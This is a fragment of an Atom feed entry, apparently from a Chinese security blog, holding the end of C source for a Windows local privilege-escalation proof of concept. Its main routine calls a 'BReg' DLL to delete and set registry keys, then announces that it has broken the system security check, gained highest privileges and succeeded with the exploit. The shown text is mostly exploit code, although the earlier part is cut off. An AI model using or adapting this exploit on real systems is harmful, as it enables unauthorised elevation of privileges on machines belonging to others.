(DWORD)sizeof(szData));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BRegCloseKey(hKey);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return lResult;<br/>}<br/>int main(int argc, char *argv[])<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!InitBRegDll()) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBoxA(NULL, &#34;初始化BReg失败!&#34;, &#34;失败&#34;, MB_ICONSTOP);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(BRegDel&#101;teKey(TestDel&#101;teKey, TestDel&#101;teRegPath))) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBoxA(NULL, &#34;键值删除失败!&#34;, &#34;失败&#34;, MB_ICONSTOP);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 2;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(TestSetRegKey())) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBoxA(NULL, &#34;设置键值失败!&#34;, &#34;失败&#34;, MB_ICONSTOP);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 3;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MessageBoxA(NULL, &#34;突破系统安全检查，获得最高权限，漏洞利用成功!&#34;, &#34;成功&#34;, MB_OK);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br/>}</span>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.ph-ok.com/article.asp?id=49" /> 
	  <id>http://www.ph-ok.com/default.asp?id=49</id>
  </entry>	
		
</feed>
